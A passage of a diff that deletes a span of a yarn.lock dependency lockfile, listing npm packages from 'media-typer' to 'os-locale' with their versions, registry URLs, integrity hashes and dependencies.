-  integrity sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==
-  dependencies:
-    hash-base "^3.0.0"
-    inherits "^2.0.1"
-    safe-buffer "^5.1.2"
-
-media-typer@0.3.0:
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748"
-  integrity sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=
-
-memdown@^1.0.0:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/memdown/-/memdown-1.4.1.tgz#b4e4e192174664ffbae41361aa500f3119efe215"
-  integrity sha1-tOThkhdGZP+65BNhqlAPMRnv4hU=
-  dependencies:
-    abstract-leveldown "~2.7.1"
-    functional-red-black-tree "^1.0.1"
-    immediate "^3.2.3"
-    inherits "~2.0.1"
-    ltgt "~2.2.0"
-    safe-buffer "~5.1.1"
-
-memdown@~3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/memdown/-/memdown-3.0.0.tgz#93aca055d743b20efc37492e9e399784f2958309"
-  integrity sha512-tbV02LfZMWLcHcq4tw++NuqMO+FZX8tNJEiD2aNRm48ZZusVg5N8NART+dmBkepJVye986oixErf7jfXboMGMA==
-  dependencies:
-    abstract-leveldown "~5.0.0"
-    functional-red-black-tree "~1.0.1"
-    immediate "~3.2.3"
-    inherits "~2.0.1"
-    ltgt "~2.2.0"
-    safe-buffer "~5.1.1"
-
-memorystream@^0.3.1:
-  version "0.3.1"
-  resolved "https://registry.yarnpkg.com/memorystream/-/memorystream-0.3.1.tgz#86d7090b30ce455d63fbae12dda51a47ddcaf9b2"
-  integrity sha1-htcJCzDORV1j+64S3aUaR93K+bI=
-
-merge-descriptors@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61"
-  integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=
-
-merkle-patricia-tree@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/merkle-patricia-tree/-/merkle-patricia-tree-3.0.0.tgz#448d85415565df72febc33ca362b8b614f5a58f8"
-  integrity sha512-soRaMuNf/ILmw3KWbybaCjhx86EYeBbD8ph0edQCTed0JN/rxDt1EBN52Ajre3VyGo+91f8+/rfPIRQnnGMqmQ==
-  dependencies:
-    async "^2.6.1"
-    ethereumjs-util "^5.2.0"
-    level-mem "^3.0.1"
-    level-ws "^1.0.0"
-    readable-stream "^3.0.6"
-    rlp "^2.0.0"
-    semaphore ">=1.0.1"
-
-merkle-patricia-tree@^2.1.2, merkle-patricia-tree@^2.3.2:
-  version "2.3.2"
-  resolved "https://registry.yarnpkg.com/merkle-patricia-tree/-/merkle-patricia-tree-2.3.2.tgz#982ca1b5a0fde00eed2f6aeed1f9152860b8208a"
-  integrity sha512-81PW5m8oz/pz3GvsAwbauj7Y00rqm81Tzad77tHBwU7pIAtN+TJnMSOJhxBKflSVYhptMMb9RskhqHqrSm1V+g==
-  dependencies:
-    async "^1.4.2"
-    ethereumjs-util "^5.0.0"
-    level-ws "0.0.0"
-    levelup "^1.2.1"
-    memdown "^1.0.0"
-    readable-stream "^2.0.0"
-    rlp "^2.0.0"
-    semaphore ">=1.0.1"
-
-methods@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee"
-  integrity sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=
-
-micromatch@^3.1.4:
-  version "3.1.10"
-  resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-3.1.10.tgz#70859bc95c9840952f359a068a3fc49f9ecfac23"
-  integrity sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==
-  dependencies:
-    arr-diff "^4.0.0"
-    array-unique "^0.3.2"
-    braces "^2.3.1"
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    extglob "^2.0.4"
-    fragment-cache "^0.2.1"
-    kind-of "^6.0.2"
-    nanomatch "^1.2.9"
-    object.pick "^1.3.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.2"
-
-micromatch@^4.0.2:
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.4.tgz#896d519dfe9db25fce94ceb7a500919bf881ebf9"
-  integrity sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==
-  dependencies:
-    braces "^3.0.1"
-    picomatch "^2.2.3"
-
-miller-rabin@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/miller-rabin/-/miller-rabin-4.0.1.tgz#f080351c865b0dc562a8462966daa53543c78a4d"
-  integrity sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==
-  dependencies:
-    bn.js "^4.0.0"
-    brorand "^1.0.1"
-
-mime-db@1.47.0:
-  version "1.47.0"
-  resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.47.0.tgz#8cb313e59965d3c05cfbf898915a267af46a335c"
-  integrity sha512-QBmA/G2y+IfeS4oktet3qRZ+P5kPhCKRXxXnQEudYqUaEioAU1/Lq2us3D/t1Jfo4hE9REQPrbB7K5sOczJVIw==
-
-mime-types@^2.1.12, mime-types@^2.1.16, mime-types@~2.1.19, mime-types@~2.1.24:
-  version "2.1.30"
-  resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.30.tgz#6e7be8b4c479825f85ed6326695db73f9305d62d"
-  integrity sha512-crmjA4bLtR8m9qLpHvgxSChT+XoSlZi8J4n/aIdn3z92e/U47Z0V/yl+Wh9W046GgFVAmoNR/fmdbZYcSSIUeg==
-  dependencies:
-    mime-db "1.47.0"
-
-mime@1.6.0:
-  version "1.6.0"
-  resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
-  integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==
-
-mimic-response@^1.0.0, mimic-response@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/mimic-response/-/mimic-response-1.0.1.tgz#4923538878eef42063cb8a3e3b0798781487ab1b"
-  integrity sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==
-
-min-document@^2.19.0:
-  version "2.19.0"
-  resolved "https://registry.yarnpkg.com/min-document/-/min-document-2.19.0.tgz#7bd282e3f5842ed295bb748cdd9f1ffa2c824685"
-  integrity sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=
-  dependencies:
-    dom-walk "^0.1.0"
-
-minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7"
-  integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==
-
-minimalistic-crypto-utils@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a"
-  integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=
-
-minimatch@3.0.4, minimatch@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
-  integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
-  dependencies:
-    brace-expansion "^1.1.7"
-
-minimist@^1.2.0, minimist@^1.2.5, minimist@~1.2.5:
-  version "1.2.5"
-  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
-  integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==
-
-minipass@^2.6.0, minipass@^2.8.6, minipass@^2.9.0:
-  version "2.9.0"
-  resolved "https://registry.yarnpkg.com/minipass/-/minipass-2.9.0.tgz#e713762e7d3e32fed803115cf93e04bca9fcc9a6"
-  integrity sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==
-  dependencies:
-    safe-buffer "^5.1.2"
-    yallist "^3.0.0"
-
-minizlib@^1.2.1:
-  version "1.3.3"
-  resolved "https://registry.yarnpkg.com/minizlib/-/minizlib-1.3.3.tgz#2290de96818a34c29551c8a8d301216bd65a861d"
-  integrity sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==
-  dependencies:
-    minipass "^2.9.0"
-
-mixin-deep@^1.2.0:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/mixin-deep/-/mixin-deep-1.3.2.tgz#1120b43dc359a785dce65b55b82e257ccf479566"
-  integrity sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==
-  dependencies:
-    for-in "^1.0.2"
-    is-extendable "^1.0.1"
-
-mkdirp-promise@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/mkdirp-promise/-/mkdirp-promise-5.0.1.tgz#e9b8f68e552c68a9c1713b84883f7a1dd039b8a1"
-  integrity sha1-6bj2jlUsaKnBcTuEiD96HdA5uKE=
-  dependencies:
-    mkdirp "*"
-
-mkdirp@*:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-1.0.4.tgz#3eb5ed62622756d79a5f0e2a221dfebad75c2f7e"
-  integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==
-
-mkdirp@^0.5.0, mkdirp@^0.5.1:
-  version "0.5.5"
-  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def"
-  integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==
-  dependencies:
-    minimist "^1.2.5"
-
-mocha@8.4.0:
-  version "8.4.0"
-  resolved "https://registry.yarnpkg.com/mocha/-/mocha-8.4.0.tgz#677be88bf15980a3cae03a73e10a0fc3997f0cff"
-  integrity sha512-hJaO0mwDXmZS4ghXsvPVriOhsxQ7ofcpQdm8dE+jISUOKopitvnXFQmpRR7jd2K6VBG6E26gU3IAbXXGIbu4sQ==
-  dependencies:
-    "@ungap/promise-all-settled" "1.1.2"
-    ansi-colors "4.1.1"
-    browser-stdout "1.3.1"
-    chokidar "3.5.1"
-    debug "4.3.1"
-    diff "5.0.0"
-    escape-string-regexp "4.0.0"
-    find-up "5.0.0"
-    glob "7.1.6"
-    growl "1.10.5"
-    he "1.2.0"
-    js-yaml "4.0.0"
-    log-symbols "4.0.0"
-    minimatch "3.0.4"
-    ms "2.1.3"
-    nanoid "3.1.20"
-    serialize-javascript "5.0.1"
-    strip-json-comments "3.1.1"
-    supports-color "8.1.1"
-    which "2.0.2"
-    wide-align "1.1.3"
-    workerpool "6.1.0"
-    yargs "16.2.0"
-    yargs-parser "20.2.4"
-    yargs-unparser "2.0.0"
-
-mock-fs@^4.1.0:
-  version "4.14.0"
-  resolved "https://registry.yarnpkg.com/mock-fs/-/mock-fs-4.14.0.tgz#ce5124d2c601421255985e6e94da80a7357b1b18"
-  integrity sha512-qYvlv/exQ4+svI3UOvPUpLDF0OMX5euvUH0Ny4N5QyRyhNdgAgUrVH3iUINSzEPLvx0kbo/Bp28GJKIqvE7URw==
-
-ms@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
-  integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=
-
-ms@2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.1.tgz#30a5864eb3ebb0a66f2ebe6d727af06a09d86e0a"
-  integrity sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==
-
-ms@2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
-  integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
-
-ms@2.1.3, ms@^2.1.1:
-  version "2.1.3"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
-  integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
-
-multibase@^0.7.0:
-  version "0.7.0"
-  resolved "https://registry.yarnpkg.com/multibase/-/multibase-0.7.0.tgz#1adfc1c50abe05eefeb5091ac0c2728d6b84581b"
-  integrity sha512-TW8q03O0f6PNFTQDvh3xxH03c8CjGaaYrjkl9UQPG6rz53TQzzxJVCIWVjzcbN/Q5Y53Zd0IBQBMVktVgNx4Fg==
-  dependencies:
-    base-x "^3.0.8"
-    buffer "^5.5.0"
-
-multibase@~0.6.0:
-  version "0.6.1"
-  resolved "https://registry.yarnpkg.com/multibase/-/multibase-0.6.1.tgz#b76df6298536cc17b9f6a6db53ec88f85f8cc12b"
-  integrity sha512-pFfAwyTjbbQgNc3G7D48JkJxWtoJoBMaR4xQUOuB8RnCgRqaYmWNFeJTTvrJ2w51bjLq2zTby6Rqj9TQ9elSUw==
-  dependencies:
-    base-x "^3.0.8"
-    buffer "^5.5.0"
-
-multicodec@^0.5.5:
-  version "0.5.7"
-  resolved "https://registry.yarnpkg.com/multicodec/-/multicodec-0.5.7.tgz#1fb3f9dd866a10a55d226e194abba2dcc1ee9ffd"
-  integrity sha512-PscoRxm3f+88fAtELwUnZxGDkduE2HD9Q6GHUOywQLjOGT/HAdhjLDYNZ1e7VR0s0TP0EwZ16LNUTFpoBGivOA==
-  dependencies:
-    varint "^5.0.0"
-
-multicodec@^1.0.0:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/multicodec/-/multicodec-1.0.4.tgz#46ac064657c40380c28367c90304d8ed175a714f"
-  integrity sha512-NDd7FeS3QamVtbgfvu5h7fd1IlbaC4EQ0/pgU4zqE2vdHCmBGsUa0TiM8/TdSeG6BMPC92OOCf8F1ocE/Wkrrg==
-  dependencies:
-    buffer "^5.6.0"
-    varint "^5.0.0"
-
-multihashes@^0.4.15, multihashes@~0.4.15:
-  version "0.4.21"
-  resolved "https://registry.yarnpkg.com/multihashes/-/multihashes-0.4.21.tgz#dc02d525579f334a7909ade8a122dabb58ccfcb5"
-  integrity sha512-uVSvmeCWf36pU2nB4/1kzYZjsXD9vofZKpgudqkceYY5g2aZZXJ5r9lxuzoRLl1OAp28XljXsEJ/X/85ZsKmKw==
-  dependencies:
-    buffer "^5.5.0"
-    multibase "^0.7.0"
-    varint "^5.0.0"
-
-nano-json-stream-parser@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/nano-json-stream-parser/-/nano-json-stream-parser-0.1.2.tgz#0cc8f6d0e2b622b479c40d499c46d64b755c6f5f"
-  integrity sha1-DMj20OK2IrR5xA1JnEbWS3Vcb18=
-
-nanoid@3.1.20:
-  version "3.1.20"
-  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.1.20.tgz#badc263c6b1dcf14b71efaa85f6ab4c1d6cfc788"
-  integrity sha512-a1cQNyczgKbLX9jwbS/+d7W8fX/RfgYR7lVWwWOGIPNgK2m0MWvrGF6/m4kk6U3QcFMnZf3RIhL0v2Jgh/0Uxw==
-
-nanomatch@^1.2.9:
-  version "1.2.13"
-  resolved "https://registry.yarnpkg.com/nanomatch/-/nanomatch-1.2.13.tgz#b87a8aa4fc0de8fe6be88895b38983ff265bd119"
-  integrity sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==
-  dependencies:
-    arr-diff "^4.0.0"
-    array-unique "^0.3.2"
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    fragment-cache "^0.2.1"
-    is-windows "^1.0.2"
-    kind-of "^6.0.2"
-    object.pick "^1.3.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-negotiator@0.6.2:
-  version "0.6.2"
-  resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.2.tgz#feacf7ccf525a77ae9634436a64883ffeca346fb"
-  integrity sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==
-
-next-tick@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/next-tick/-/next-tick-1.0.0.tgz#ca86d1fe8828169b0120208e3dc8424b9db8342c"
-  integrity sha1-yobR/ogoFpsBICCOPchCS524NCw=
-
-nice-try@^1.0.4:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/nice-try/-/nice-try-1.0.5.tgz#a3378a7696ce7d223e88fc9b764bd7ef1089e366"
-  integrity sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==
-
-node-addon-api@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-2.0.2.tgz#432cfa82962ce494b132e9d72a15b29f71ff5d32"
-  integrity sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA==
-
-node-fetch@2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.1.2.tgz#ab884e8e7e57e38a944753cec706f788d1768bb5"
-  integrity sha1-q4hOjn5X44qUR1POxwb3iNF2i7U=
-
-node-fetch@^2.6.0:
-  version "2.6.1"
-  resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.1.tgz#045bd323631f76ed2e2b55573394416b639a0052"
-  integrity sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==
-
-node-fetch@~1.7.1:
-  version "1.7.3"
-  resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-1.7.3.tgz#980f6f72d85211a5347c6b2bc18c5b84c3eb47ef"
-  integrity sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==
-  dependencies:
-    encoding "^0.1.11"
-    is-stream "^1.0.1"
-
-node-gyp-build@^4.2.0:
-  version "4.2.3"
-  resolved "https://registry.yarnpkg.com/node-gyp-build/-/node-gyp-build-4.2.3.tgz#ce6277f853835f718829efb47db20f3e4d9c4739"
-  integrity sha512-MN6ZpzmfNCRM+3t57PTJHgHyw/h4OWnZ6mR8P5j/uZtqQr46RRuDE/P+g3n0YR/AiYXeWixZZzaip77gdICfRg==
-
-normalize-package-data@^2.3.2:
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/normalize-package-data/-/normalize-package-data-2.5.0.tgz#e66db1838b200c1dfc233225d12cb36520e234a8"
-  integrity sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==
-  dependencies:
-    hosted-git-info "^2.1.4"
-    resolve "^1.10.0"
-    semver "2 || 3 || 4 || 5"
-    validate-npm-package-license "^3.0.1"
-
-normalize-path@^3.0.0, normalize-path@~3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65"
-  integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==
-
-normalize-url@^4.1.0:
-  version "4.5.0"
-  resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-4.5.0.tgz#453354087e6ca96957bd8f5baf753f5982142129"
-  integrity sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==
-
-number-is-nan@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/number-is-nan/-/number-is-nan-1.0.1.tgz#097b602b53422a522c1afb8790318336941a011d"
-  integrity sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=
-
-number-to-bn@1.7.0:
-  version "1.7.0"
-  resolved "https://registry.yarnpkg.com/number-to-bn/-/number-to-bn-1.7.0.tgz#bb3623592f7e5f9e0030b1977bd41a0c53fe1ea0"
-  integrity sha1-uzYjWS9+X54AMLGXe9QaDFP+HqA=
-  dependencies:
-    bn.js "4.11.6"
-    strip-hex-prefix "1.0.0"
-
-oauth-sign@~0.9.0:
-  version "0.9.0"
-  resolved "https://registry.yarnpkg.com/oauth-sign/-/oauth-sign-0.9.0.tgz#47a7b016baa68b5fa0ecf3dee08a85c679ac6455"
-  integrity sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==
-
-object-assign@^4, object-assign@^4.0.0, object-assign@^4.1.0, object-assign@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
-  integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
-
-object-copy@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.yarnpkg.com/object-copy/-/object-copy-0.1.0.tgz#7e7d858b781bd7c991a41ba975ed3812754e998c"
-  integrity sha1-fn2Fi3gb18mRpBupde04EnVOmYw=
-  dependencies:
-    copy-descriptor "^0.1.0"
-    define-property "^0.2.5"
-    kind-of "^3.0.3"
-
-object-inspect@^1.9.0:
-  version "1.10.3"
-  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.10.3.tgz#c2aa7d2d09f50c99375704f7a0adf24c5782d369"
-  integrity sha512-e5mCJlSH7poANfC8z8S9s9S2IN5/4Zb3aZ33f5s8YqoazCFzNLloLU8r5VCG+G7WoqLvAAZoVMcy3tp/3X0Plw==
-
-object-inspect@~1.7.0:
-  version "1.7.0"
-  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.7.0.tgz#f4f6bd181ad77f006b5ece60bd0b6f398ff74a67"
-  integrity sha512-a7pEHdh1xKIAgTySUGgLMx/xwDZskN1Ud6egYYN3EdRW4ZMPNEDUTF+hwy2LUC+Bl+SyLXANnwz/jyh/qutKUw==
-
-object-is@^1.0.1:
-  version "1.1.5"
-  resolved "https://registry.yarnpkg.com/object-is/-/object-is-1.1.5.tgz#b9deeaa5fc7f1846a0faecdceec138e5778f53ac"
-  integrity sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-object-keys@^1.0.12, object-keys@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
-  integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
-
-object-keys@~0.4.0:
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-0.4.0.tgz#28a6aae7428dd2c3a92f3d95f21335dd204e0336"
-  integrity sha1-KKaq50KN0sOpLz2V8hM13SBOAzY=
-
-object-visit@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/object-visit/-/object-visit-1.0.1.tgz#f79c4493af0c5377b59fe39d395e41042dd045bb"
-  integrity sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=
-  dependencies:
-    isobject "^3.0.0"
-
-object.assign@^4.1.2:
-  version "4.1.2"
-  resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.2.tgz#0ed54a342eceb37b38ff76eb831a0e788cb63940"
-  integrity sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    has-symbols "^1.0.1"
-    object-keys "^1.1.1"
-
-object.getownpropertydescriptors@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.2.tgz#1bd63aeacf0d5d2d2f31b5e393b03a7c601a23f7"
-  integrity sha512-WtxeKSzfBjlzL+F9b7M7hewDzMwy+C8NRssHd1YrNlzHzIDrXcXiNOMrezdAEM4UXixgV+vvnyBeN7Rygl2ttQ==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.2"
-
-object.pick@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/object.pick/-/object.pick-1.3.0.tgz#87a10ac4c1694bd2e1cbf53591a66141fb5dd747"
-  integrity sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=
-  dependencies:
-    isobject "^3.0.1"
-
-oboe@2.1.4:
-  version "2.1.4"
-  resolved "https://registry.yarnpkg.com/oboe/-/oboe-2.1.4.tgz#20c88cdb0c15371bb04119257d4fdd34b0aa49f6"
-  integrity sha1-IMiM2wwVNxuwQRklfU/dNLCqSfY=
-  dependencies:
-    http-https "^1.0.0"
-
-oboe@2.1.5:
-  version "2.1.5"
-  resolved "https://registry.yarnpkg.com/oboe/-/oboe-2.1.5.tgz#5554284c543a2266d7a38f17e073821fbde393cd"
-  integrity sha1-VVQoTFQ6ImbXo48X4HOCH73jk80=
-  dependencies:
-    http-https "^1.0.0"
-
-on-finished@~2.3.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947"
-  integrity sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=
-  dependencies:
-    ee-first "1.1.1"
-
-once@^1.3.0, once@^1.3.1, once@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
-  integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
-  dependencies:
-    wrappy "1"
-
-open@^7.4.2:
-  version "7.4.2"
-  resolved "https://registry.yarnpkg.com/open/-/open-7.4.2.tgz#b8147e26dcf3e426316c730089fd71edd29c2321"
-  integrity sha512-MVHddDVweXZF3awtlAS+6pgKLlm/JgxZ90+/NBurBoQctVOOB/zDdVjcyPzQ+0laDGbsWgrRkflI65sQeOgT9Q==
-  dependencies:
-    is-docker "^2.0.0"
-    is-wsl "^2.1.1"
-
-os-homedir@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/os-homedir/-/os-homedir-1.0.2.tgz#ffbc4988336e0e833de0c168c7ef152121aa7fb3"
-  integrity sha1-/7xJiDNuDoM94MFox+8VISGqf7M=
-
-os-locale@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/os-locale/-/os-locale-1.4.0.tgz#20f9f17ae29ed345e8bde583b13d2009803c14d9"
-  integrity sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=
